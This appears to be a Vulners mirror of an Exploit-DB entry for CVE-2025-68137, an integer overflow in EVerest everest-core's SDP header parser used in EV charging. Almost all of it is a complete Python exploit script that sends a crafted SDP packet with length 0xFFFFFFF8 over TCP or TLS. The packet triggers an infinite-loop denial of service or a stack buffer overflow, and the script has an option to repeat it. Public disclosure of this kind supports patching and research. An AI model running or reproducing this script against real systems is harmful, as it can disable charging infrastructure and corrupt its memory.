Lucene search
+L

EVerest 2025.9.0 - DoS

🗓️ 02 Sep 2026 00:00:00Reported by Ranjit Kumar SinghType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 7 Views

Integer overflow in EVerest SDP parse_header causes DoS via infinite loop or stack buffer overflow.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-68137
21 Jan 202619:20
attackerkb
circl
Circl
CVE-2025-68137
21 Jan 202620:34
circl
cnnvd
CNNVD
Everest-core security vulnerabilities
21 Jan 202600:00
cnnvd
cve
CVE
CVE-2025-68137
21 Jan 202619:20
cve
cvelist
Cvelist
CVE-2025-68137 EVerest's Integer Overflow and Signed to Unsigned conversion lead to either stack buffer overflow or infinite loop
21 Jan 202619:20
cvelist
euvd
EUVD
EUVD-2025-206317
21 Jan 202619:20
euvd
nvd
NVD
CVE-2025-68137
21 Jan 202620:16
nvd
packetstorm
Packet Storm
...[ More ]
3 Sep 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-3850
21 Jan 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-68137
22 Jan 202619:22
redhatcve
Rows per page
# Exploit Title: EVerest 2025.9.0 - DoS
# Date: 2026-08-11
# Exploit Author: [Ranjit Kumar Singh]
# Vendor Homepage: https://github.com/EVerest/everest-core
# Software Link:
https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
# Version: everest-core < 2025.10.0
# Tested on: Ubuntu 22.04 / EVerest 2025.9.0
# CVE: CVE-2025-68137
# Attack Vector: Adjacent Network
# Authentication: None


"""
CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS
Exploit Author: Ranjit Kumar Singh
Vendor: https://github.com/EVerest/everest-core
Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
Vulnerable Versions: EVerest everest-core < 2025.10.0
Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0
CVE: CVE-2025-68137

Description:
    An integer overflow in SdpPacket::parse_header() allows an attacker to
    trigger either an infinite loop (TCP) or stack buffer overflow (TLS)
    by sending a malformed SDP packet with a specially crafted length field.

    The vulnerability exists because the length field (4 bytes) is added to
    the header size (8) without proper overflow checking. When the length
    value is near UINT_MAX, the addition overflows, causing the remaining
    bytes to read to be interpreted as SIZE_MAX.

Usage:
    # Trigger DoS (infinite loop) on TCP server
    python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200

    # Trigger stack buffer overflow on TLS server (may lead to RCE)
    python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls

    # Send multiple packets to increase impact
    python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100

    # Custom SDP version bytes (for testing different implementations)
    python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE
"""

import argparse
import socket
import ssl
import struct
import time
import sys

# SDP Protocol Constants
SDP_PROTOCOL_VERSION = 0x01
SDP_INVERSE_PROTOCOL_VERSION = 0xFE
V2GTP_HEADER_SIZE = 8

def build_malicious_sdp_packet(version=0x01, inverse=0xFE):
    """
    Build a malformed SDP packet that triggers the integer overflow.

    The packet structure:
    - Byte 0: Protocol version (must be 0x01)
    - Byte 1: Inverse protocol version (must be 0xFE)
    - Byte 2-3: Reserved/Unused (0x0000)
    - Byte 4-7: Length field (triggers overflow when +8 is applied)

    The overflow occurs when the length field is near UINT_MAX.
    When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE
    If tmp is close to UINT_MAX, the addition overflows.

    We use 0xFFFFFFFF - 7 to make length = 0 after overflow,
    then length - bytes_read becomes negative → SIZE_MAX.
    """

    # Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7
    # UINT_MAX = 0xFFFFFFFF
    overflow_value = 0xFFFFFFF8  # UINT_MAX - 7

    # Build the packet
    packet = bytearray()
    packet.append(version)                    # Protocol version
    packet.append(inverse)                    # Inverse protocol version
    packet.extend(b'\x00\x00')                # Reserved (2 bytes)
    packet.extend(struct.pack('>I', overflow_value))  # Length (big-endian)

    return bytes(packet)

def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0):
    """
    Build a normal SDP packet for comparison/testing.
    """
    packet = bytearray()
    packet.append(version)
    packet.append(inverse)
    packet.extend(b'\x00\x00')
    packet.extend(struct.pack('>I', payload_size))
    return bytes(packet)

def send_packet(target_ip, target_port, packet, use_tls=False, count=1):
    """
    Send the malformed SDP packet to the target.
    """
    success_count = 0
    fail_count = 0

    for i in range(count):
        try:
            # Create socket
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)

            # Wrap with TLS if requested
            if use_tls:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=target_ip)

            # Connect and send
            sock.connect((target_ip, target_port))
            sock.send(packet)

            # Try to read response (may hang if infinite loop triggered)
            try:
                response = sock.recv(1024)
                print(f"[{i+1}/{count}] Response received ({len(response)} bytes)")
            except socket.timeout:
                print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered")

            sock.close()
            success_count += 1

        except ConnectionRefusedError:
            print(f"[{i+1}/{count}] Connection refused - service may be down")
            fail_count += 1
        except socket.timeout:
            print(f"[{i+1}/{count}] Connection timeout")
            fail_count += 1
        except Exception as e:
            print(f"[{i+1}/{count}] Error: {e}")
            fail_count += 1

        # Small delay between packets
        if i < count - 1:
            time.sleep(0.1)

    return success_count, fail_count

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit"
    )
    parser.add_argument("-t", "--target", required=True,
                        help="Target IP address (e.g., 192.168.1.100)")
    parser.add_argument("-p", "--port", type=int, default=5200,
                        help="Target port (default: 5200)")
    parser.add_argument("--tls", action="store_true",
                        help="Use TLS connection (triggers stack buffer overflow)")
    parser.add_argument("--count", type=int, default=1,
                        help="Number of packets to send (default: 1)")
    parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01,
                        help="Protocol version byte (default: 0x01)")
    parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE,
                        help="Inverse protocol version byte (default: 0xFE)")
    parser.add_argument("--payload-size", type=int, default=0,
                        help="Payload size for normal packets (for testing)")
    parser.add_argument("--normal", action="store_true",
                        help="Send normal packet instead of malicious")

    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit")
    print("=" * 60)
    print(f"Target: {args.target}:{args.port}")
    print(f"TLS: {'Enabled' if args.tls else 'Disabled'}")
    print(f"Packets: {args.count}")
    print(f"Mode: {'Normal' if args.normal else 'Malicious'}")
    print("=" * 60)

    # Build packet
    if args.normal:
        packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size)
        print(f"[*] Using normal packet (payload size: {args.payload_size})")
    else:
        packet = build_malicious_sdp_packet(args.version, args.inverse)
        print("[*] Using malicious packet (triggering integer overflow)")

    print(f"[*] Packet hex: {packet.hex()}")
    print(f"[*] Packet size: {len(packet)} bytes")
    print("-" * 60)

    if args.tls:
        print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)")
    else:
        print("[!] TCP mode: Will trigger infinite loop (DoS)")

    print("-" * 60)

    # Send packet
    print(f"[*] Sending {args.count} packet(s)...")
    success, fail = send_packet(
        args.target, args.port, packet,
        use_tls=args.tls, count=args.count
    )

    print("-" * 60)
    print(f"[+] Packets sent successfully: {success}")
    print(f"[-] Failed: {fail}")

    if success > 0 and not args.normal:
        print("\n[!] If the target is vulnerable:")
        if args.tls:
            print("    - Stack buffer overflow triggered (check for crashes)")
            print("    - May lead to remote code execution")
        else:
            print("    - Infinite loop triggered (service will hang)")
            print("    - Denial of Service achieved")

    print("\n[+] References:")
    print("    - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w")
    print("    - https://nvd.nist.gov/vuln/detail/CVE-2025-68137")

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.3
EPSS0.01029
SSVC
7